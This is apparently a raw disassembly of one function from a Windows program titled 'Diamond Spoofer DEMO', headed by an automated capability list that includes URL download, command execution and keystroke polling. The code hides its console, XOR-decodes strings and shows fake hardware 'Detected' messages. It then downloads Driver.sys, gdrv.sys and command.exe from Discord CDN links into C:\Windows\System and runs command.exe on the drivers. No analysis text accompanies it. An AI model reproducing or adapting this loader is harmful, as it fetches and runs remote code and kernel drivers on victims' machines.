Function at 0x14001d360
Capabilities:
Check for time delay via queryperformancecounter
Download url
Encode data using xor
Execute command
Log keystrokes via polling
Receive data
Resolve function by parsing pe exports
Set console window title
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x140029008]
xor rax, rsp
mov qword [rbp + 0x88], rax
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 0xfffffff0
mov rbx, rax
call qword [sym.imp.USER32.dll_GetWindowLongA]
mov edx, 0xfffffff0
mov rcx, rbx
and eax, 0xfffaffff
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp - 0x28]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
lea rdx, [rbp - 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
lea rcx, str.color_60
mov qword [rbp - 0x20], 0x54
xor edi, edi
mov qword [rbp - 0x18], 0xf0000
mov dword [rbp - 0x10], 0x190
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r8, [rbp - 0x20]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentConsoleFontEx]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [rsp + 0x28], 1
mov r9d, 0x15e
mov rcx, rax
mov dword [rsp + 0x20], 0xe6
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_MoveWindow]
mov r9d, 0xa
mov dword [rsp + 0x30], 5
mov r8d, r9d
mov dword [rsp + 0x28], edi
lea rdx, [rdi - 1]
mov dword [rsp + 0x20], edi
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetWindowPos]
lea edx, [rdi - 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongA]
lea edx, [rdi - 0x10]
mov rcx, rbx
and eax, 0xfff0ffff
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp - 0x40]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
movzx ecx, word [rbp - 0x32]
sub cx, word [rbp - 0x36]
inc cx
mov word [rsp + 0x60], cx
movzx ecx, word [rbp - 0x30]
sub cx, word [rbp - 0x34]
inc cx
mov word [rsp + 0x62], cx
test rsi, rsi
je 0x14001e38c
mov edx, dword [rsp + 0x60]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
lea edx, [rdi - 0x14]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowLongA]
lea edx, [rdi - 0x14]
mov rcx, rbx
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea r9d, [rdi + 2]
mov r8b, 0xff
xor edx, edx
mov rcx, rbx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Connecting_______n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14002435c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140024360]
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x140024360]
call fcn.14001e3b0
lea rcx, str._Diamond_Demo_Spoofer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140024af0]
mov ecx, edi
movdqa xmm1, xmmword [0x140024b00]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rbp - 0x58], 1
movdqa xmm0, xmmword [str.]
movdqu xmmword [rbp - 0x68], xmm0
movdqu xmmword [rbp - 0x78], xmm1
nop dword [rax + rax]
lea eax, [rcx - 0x2c]
xor byte [rsp + rcx + 0x78], al
inc rcx
cmp rcx, 0x2f
jb 0x14001d5c0
lea rcx, [rsp + 0x78]
mov byte [rbp - 0x58], dil
mov qword [rbp + 0x20], rcx
lea rax, [0x14001d280]
xor ecx, ecx
mov qword [rbp - 0x20], 3
mov edx, 0x7f00
mov qword [rbp - 0x10], rdi
mov qword [rbp], rdi
mov qword [rbp + 0x18], rdi
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], r14
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rcx, [rbp - 0x20]
mov qword [rbp + 0x10], 0xc
mov qword [rbp + 8], rax
call qword [sym.imp.USER32.dll_RegisterClassA]
test ax, ax
jne 0x14001d632
mov eax, 1
jmp 0x14001e35c
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x48]
call qword [sym.imp.USER32.dll_GetWindowRect]
movdqa xmm0, xmmword [0x140024af0]
mov rcx, rdi
mov eax, dword [rbp + 0x50]
movdqa xmm1, xmmword [0x140024b00]
cdq
sub eax, edx
mov byte [rbp + 0x10], 1
sar eax, 1
movdqu xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [str.]
lea r8d, [rax - 0x96]
mov eax, 0x55555556
imul dword [rbp + 0x54]
movdqu xmmword [rbp - 0x10], xmm1
movdqu xmmword [rbp], xmm0
mov r9d, edx
shr r9d, 0x1f
add r9d, 0xffffffb5
add r9d, edx
nop dword [rax + rax]
lea eax, [rcx - 0x2c]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x2f
jb 0x14001d6a0
mov qword [rsp + 0x58], rdi
lea rdx, [rsp + 0x78]
mov qword [rsp + 0x50], r14
xor ecx, ecx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0xe6
mov dword [rsp + 0x30], 0x118
mov dword [rsp + 0x28], r9d
mov r9d, 0x80000000
mov dword [rsp + 0x20], r8d
lea r8, [rbp - 0x20]
mov byte [rbp + 0x10], dil
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rbx, rax
test rax, rax
jne 0x14001d709
lea eax, [rbx + 2]
jmp 0x14001e35c
mov ecx, 0x20
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rsi, rax
test rax, rax
jne 0x14001d72a
mov rdx, r14
lea rcx, [rsp + 0x78]
call qword [sym.imp.USER32.dll_UnregisterClassA]
lea rcx, [0x14002d2c0]
mov qword [0x14002d2d0], rdi
mov qword [rsp + 0x30], rcx
xor edx, edx
mov qword [0x14002d2dc], rdi
lea rcx, [0x14002d2d0]
mov qword [rsp + 0x28], rcx
mov r9, rbx
mov dword [0x14002d2e4], edi
mov rcx, rsi
mov qword [0x14002d2ec], rdi
lea r8d, [rdx + 1]
mov dword [0x14002d2f4], edi
mov qword [0x14002d304], rdi
mov dword [0x14002d2f8], 1
mov dword [0x14002d2e8], 1
mov dword [0x14002d2d8], edi
mov dword [0x14002d2fc], 1
mov dword [0x14002d300], 0x50
mov dword [0x14002d30c], 1
mov rax, qword [rsi]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
jns 0x14001d7df
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
mov rdx, r14
lea rcx, [rsp + 0x78]
call qword [sym.imp.USER32.dll_UnregisterClassA]
jmp 0x14001e35a
mov rax, qword [0x14002d2c0]
lea rcx, [0x14002d2b8]
mov qword [0x14002d298], rax
mov qword [0x14002d2a8], rbx
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x14001d8c8
lea rcx, [0x14002d2b0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x14001d8c8
mov rcx, qword [0x140029048]
lea rax, [0x14001c5e0]
mov qword [rcx + 0xc8], rax
mov rax, qword [0x14002d2a8]
mov qword [rcx + 0x100], rax
mov dword [rcx + 0x34], 9
mov dword [rcx + 0x38], 0x25
mov dword [rcx + 0x3c], 0x27
mov dword [rcx + 0x40], 0x26
mov dword [rcx + 0x44], 0x28
mov dword [rcx + 0x48], 0x21
mov dword [rcx + 0x4c], 0x22
mov dword [rcx + 0x50], 0x24
mov dword [rcx + 0x54], 0x23
mov dword [rcx + 0x58], 0x2e
mov dword [rcx + 0x5c], 8
mov dword [rcx + 0x60], 0xd
mov dword [rcx + 0x64], 0x1b
mov dword [rcx + 0x68], 0x41
mov dword [rcx + 0x6c], 0x43
mov dword [rcx + 0x70], 0x56
mov dword [rcx + 0x74], 0x58
mov dword [rcx + 0x78], 0x59
mov dword [rcx + 0x7c], 0x5a
jmp 0x14001d8cf
mov rcx, qword [0x140029048]
movaps xmm0, xmmword [0x140024a10]
movaps xmm1, xmmword [0x1400249d0]
movups xmmword [rcx + 0x1480], xmm0
movaps xmm0, xmmword [0x140024960]
movups xmmword [rcx + 0x1490], xmm1
movaps xmm1, xmmword [0x1400248f0]
movups xmmword [rcx + 0x14a0], xmm0
movaps xmm0, xmmword [0x140024720]
movups xmmword [rcx + 0x14c0], xmm1
movups xmmword [rcx + 0x14d0], xmm0
movaps xmm0, xmmword [0x140024970]
xorps xmm1, xmm1
movups xmmword [rcx + 0x14e0], xmm1
movaps xmm1, xmmword [0x140024990]
movups xmmword [rcx + 0x14f0], xmm0
movaps xmm0, xmmword [0x1400249b0]
movups xmmword [rcx + 0x1500], xmm1
movaps xmm1, xmmword [0x140024a90]
movups xmmword [rcx + 0x1510], xmm0
movups xmmword [rcx + 0x1520], xmm1
movups xmmword [rcx + 0x1540], xmm1
movaps xmm0, xmm1
movaps xmmword [rsp + 0x1b0], xmm6
movaps xmm1, xmmword [0x140024800]
movups xmmword [rcx + 0x1550], xmm0
movaps xmm0, xmmword [0x1400249a0]
movups xmmword [rcx + 0x1530], xmm1
movaps xmm1, xmmword [0x140024810]
movups xmmword [rcx + 0x1570], xmm0
movaps xmm0, xmmword [0x140024a60]
movups xmmword [rcx + 0x1560], xmm1
movaps xmm1, xmmword [0x1400249e0]
movups xmmword [rcx + 0x1590], xmm0
movaps xmm0, xmmword [0x140024980]
movups xmmword [rcx + 0x1580], xmm1
movaps xmm1, xmmword [0x1400249b0]
movups xmmword [rcx + 0x15c0], xmm0
movups xmmword [rcx + 0x15d0], xmm0
movups xmmword [rcx + 0x15b0], xmm1
movaps xmm1, xmm0
movaps xmmword [rsp + 0x1a0], xmm7
movaps xmm0, xmmword [0x140024960]
movups xmmword [rcx + 0x15e0], xmm0
movups xmmword [rcx + 0x15f0], xmm0
movaps xmm1, xmm0
movaps xmmword [rsp + 0x190], xmm8
movaps xmm0, xmmword [0x140024a90]
movups xmmword [rcx + 0x1600], xmm0
movups xmmword [rcx + 0x1610], xmm0
movaps xmm1, xmm0
movaps xmm0, xmmword [0x140024a80]
movups xmmword [rcx + 0x1620], xmm0
movaps xmm0, xmmword [0x1400249a0]
movups xmmword [rcx + 0x1630], xmm1
movaps xmm1, xmmword [0x140024980]
movups xmmword [rcx + 0x1670], xmm0
movaps xmm0, xmmword [0x1400249b0]
movups xmmword [rcx + 0x1680], xmm1
movaps xmm1, xmmword [0x140024a90]
movups xmmword [rcx + 0x1690], xmm0
movups xmmword [rcx + 0x16e0], xmm1
movups xmmword [rcx + 0x16f0], xmm1
movaps xmm0, xmm1
movaps xmm1, xmmword [0x140024910]
movups xmmword [rcx + 0x1700], xmm1
movups xmmword [rcx + 0x1710], xmm1
mov dword [rcx + 0x1424], 0x40800000
mov dword [rcx + 0x1428], 0x40000000
movaps xmm0, xmm1
mov dword [rcx + 0x1430], 0x41200000
mov dword [rcx + 0x1434], 0x40000000
mov dword [rcx + 0x1448], 0x41400000
mov dword [rcx + 0x1450], 0x41200000
mov dword [rcx + 0x1414], 0x40800000
mov dword [rcx + 0x142c], 0x40800000
mov dword [rcx + 0x1454], 0x40c00000
mov dword [rcx + 0x145c], 0x40800000
mov dword [rcx + 0x1418], 0x3f800000
mov dword [rcx + 0x141c], 0x3f000000
mov dword [rcx + 0x1470], 0x40800000
mov dword [rcx + 0x1474], 0x40800000
xorps xmm0, xmm0
mov edx, 0xa
mov rcx, rbx
movups xmmword [rbp + 0x58], xmm0
movups xmmword [rbp + 0x68], xmm0
movups xmmword [rbp + 0x78], xmm0
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rbx
call qword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [rbp + 0x60], 0x12
je 0x14001e2c0
movss xmm7, dword [0x1400245e4]
movss xmm8, dword [0x14002466c]
movss xmm6, dword [0x1400245e0]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x58]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14001db98
lea rcx, [rbp + 0x58]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x58]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14001e2b6
cmp qword [0x14002d288], rdi
jne 0x14001dbaf
cmp qword [0x14002d298], rdi
je 0x14001dbaf
call fcn.14001d040
mov rcx, qword [0x14002d2a8]
lea rdx, [rbp - 0x50]
mov rbx, qword [0x140029048]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp - 0x48]
lea rcx, [rbp + 0x40]
sub eax, dword [rbp - 0x50]
movd xmm1, eax
mov eax, dword [rbp - 0x44]
sub eax, dword [rbp - 0x4c]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 8], xmm1
movss dword [rbx + 0xc], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rbp + 0x40]
xorps xmm1, xmm1
sub rax, qword [0x14002d2b0]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x14002d2b8]
mov ecx, 0x11
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x10], xmm1
mov rax, qword [rbp + 0x40]
mov qword [0x14002d2b0], rax
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x10
and al, 1
mov byte [rbx + 0x11d], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, 1
mov byte [rbx + 0x11e], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x120], dil
mov byte [rbx + 0x11f], al
cmp byte [rbx + 0x11c], dil
je 0x14001dc82
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetCursor]
call fcn.1400031d0
cmp byte [0x1400290c8], dil
je 0x14001e383
movdqa xmm0, xmmword [0x140024b10]
mov rcx, rdi
movdqa xmm1, xmmword [0x140024b20]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp + 0x10], 0x1002524
movdqa xmm0, xmmword [0x140024700]
movdqu xmmword [rbp], xmm0
movdqu xmmword [rbp - 0x10], xmm1
nop word [rax + rax]
lea eax, [rcx - 0x2c]
xor byte [rbp + rcx - 0x20], al
inc rcx
cmp rcx, 0x32
jb 0x14001dcd0
movaps xmm3, xmm7
mov byte [rbp + 0x13], dil
lea r8, [rsp + 0x68]
mov dword [rsp + 0x68], 0x438c0000
lea rdx, [0x1400290c8]
mov dword [rsp + 0x6c], 0x43660000
lea rcx, [rbp - 0x20]
mov dword [rsp + 0x20], 0x13e
call fcn.1400074b0
movaps xmm0, xmm8
call fcn.14000aae0
lea rcx, str._______________________________________
call fcn.14000ad50
call fcn.14000c340
lea rcx, str._______________________________________
call fcn.14000ad50
mov ecx, 0x73
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rax, qword [0x140029048]
mov dword [rsp + 0x74], edi
mov rcx, qword [rax + 0x1778]
movss xmm0, dword [rcx + 0x24]
mov rcx, rdi
mulss xmm0, xmm6
mov dword [rbp - 0x30], 0xa3afca97
mov dword [rbp - 0x2c], 0x1009acf
movss dword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x140024ae0]
movdqu xmmword [rbp - 0x40], xmm0
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x2c]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x16
jb 0x14001dd90
lea rdx, [rsp + 0x70]
mov byte [rbp - 0x29], dil
lea rcx, [rbp - 0x40]
call fcn.14000ba10
test al, al
je 0x14001e07b
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__Selected_Info______n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__MOBO_Detected_________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__CPU_Detected___________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__DISK_Detected__________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__SMBIOS_Detected__________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__ARP_Detected___________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__MAC_Detected__________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__BIOS_Detected__________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__NVME_Detected__________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.__PCNAME_Detected__________n
call fcn.14001e3b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.________n
call fcn.14001e3b0
mov r9d, 0x40
lea r8, [0x14002066e]
lea rdx, str.Success___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsSystemDriver.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_795537165383630850_851921527255203860_Driver.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsSystemgdrv.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_795537165383630850_839208454010175498_gdrv.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:WindowsSystemcommand.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_795537165383630850_839208449061683200_command.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, str.cd_C:WindowsSystem
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystemcommand.exe_C:WindowsSystemgdrv.sys_C:WindowsSystemDriver.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r9d, 0x40
lea r8, [0x14002066e]
lea rdx, str.Spoofed___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str._______________________________________
call fcn.14000ad50
mov rax, qword [0x140029048]
mov dword [rbp - 0x24], edi
mov rcx, qword [rax + 0x1778]
movss xmm0, dword [rcx + 0x24]
mov rcx, rdi
mulss xmm0, xmm6
mov dword [rsp + 0x60], 0xb6b3b997
mov word [rsp + 0x64], 0xb6
mov byte [rsp + 0x66], 1
movss dword [rbp - 0x28], xmm0
nop dword [rax]
lea eax, [rcx - 0x2c]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 5
jb 0x14001e0c0
lea rdx, [rbp - 0x28]
mov byte [rsp + 0x66], dil
lea rcx, [rsp + 0x60]
call fcn.14000ba10
test al, al
je 0x14001e130
mov r9d, 0x40
lea r8, str.Issued_warning
lea rdx, str.It_might_take_a_while
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r9d, 0x40
lea r8, [0x14002066e]
lea rdx, str.Cleaner___
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x140024550]
call fcn.14000ad50
movaps xmm0, xmmword [0x140024aa0]
lea rdx, str._Diamond_Spoofer_DEMO
lea rcx, [rbp - 0x40]
movups xmmword [rbp - 0x40], xmm0
call fcn.14000add0
lea rcx, [0x140024550]
call fcn.14000ad50
movaps xmm0, xmmword [0x140024aa0]
lea rdx, str._DEMO
lea rcx, [rbp - 0x40]
movups xmmword [rbp - 0x40], xmm0
call fcn.14000add0
lea rcx, str._______________________________________
call fcn.14000ad50
movaps xmm0, xmmword [0x140024930]
lea rdx, str.__________________Status:
lea rcx, [rbp - 0x40]
movups xmmword [rbp - 0x40], xmm0
call fcn.14000add0
mov rdx, qword [0x140029048]
mov rax, qword [rdx + 0x1778]
mov byte [rax + 0x8a], 1
mov rcx, qword [rdx + 0x1778]
cmp byte [rcx + 0x8c], dil
jne 0x14001e20a
movss xmm1, dword [rdx + 0x1430]
movss xmm0, dword [rcx + 0xcc]
addss xmm1, dword [rcx + 0xc8]
movss dword [rcx + 0xc0], xmm1
movss dword [rcx + 0xc4], xmm0
mov eax, dword [rcx + 0xe8]
mov dword [rcx + 0xe0], eax
mov eax, dword [rcx + 0xec]
mov dword [rcx + 0xe4], eax
movaps xmm0, xmmword [0x140024aa0]
lea rdx, str.DEMO
lea rcx, [rbp - 0x40]
movups xmmword [rbp - 0x40], xmm0
call fcn.14000add0
call fcn.14000a100
mov rcx, qword [0x14002d2c0]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 7]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002d2c0]
xor r8d, r8d
mov rax, qword [rcx]
lea edx, [r8 + 0x1b]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002d2c0]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14002d2c0]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14001e299
call fcn.140005230
mov rcx, qword [0x14002d2c0]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14002d2c0]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rdi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp dword [rbp + 0x60], 0x12
jne 0x14001db61
call fcn.14001d1f0
call fcn.140004150
mov rcx, qword [0x14002d2c0]
mov qword [0x14002d298], rdi
mov qword [0x14002d2a8], rdi
test rcx, rcx
je 0x14001e2ea
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
movdqa xmm0, xmmword [0x140024af0]
movdqa xmm1, xmmword [0x140024b00]
movdqu xmmword [rbp - 0x20], xmm0
mov byte [rbp + 0x10], 1
movdqa xmm0, xmmword [str.]
movdqu xmmword [rbp], xmm0
movdqu xmmword [rbp - 0x10], xmm1
nop
lea eax, [rdi - 0x2c]
xor byte [rbp + rdi - 0x20], al
inc rdi
cmp rdi, 0x2f
jb 0x14001e320
mov rdx, r14
mov byte [rbp + 0x10], 0
lea rcx, [rbp - 0x20]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm7, xmmword [rsp + 0x1a0]
movaps xmm6, xmmword [rsp + 0x1b0]
movaps xmm8, xmmword [rsp + 0x190]
xor eax, eax
mov rcx, qword [rbp + 0x88]
xor rcx, rsp
call fcn.14001e600
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, [0x140027950]
mov dword [rsp + 0x60], edi
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3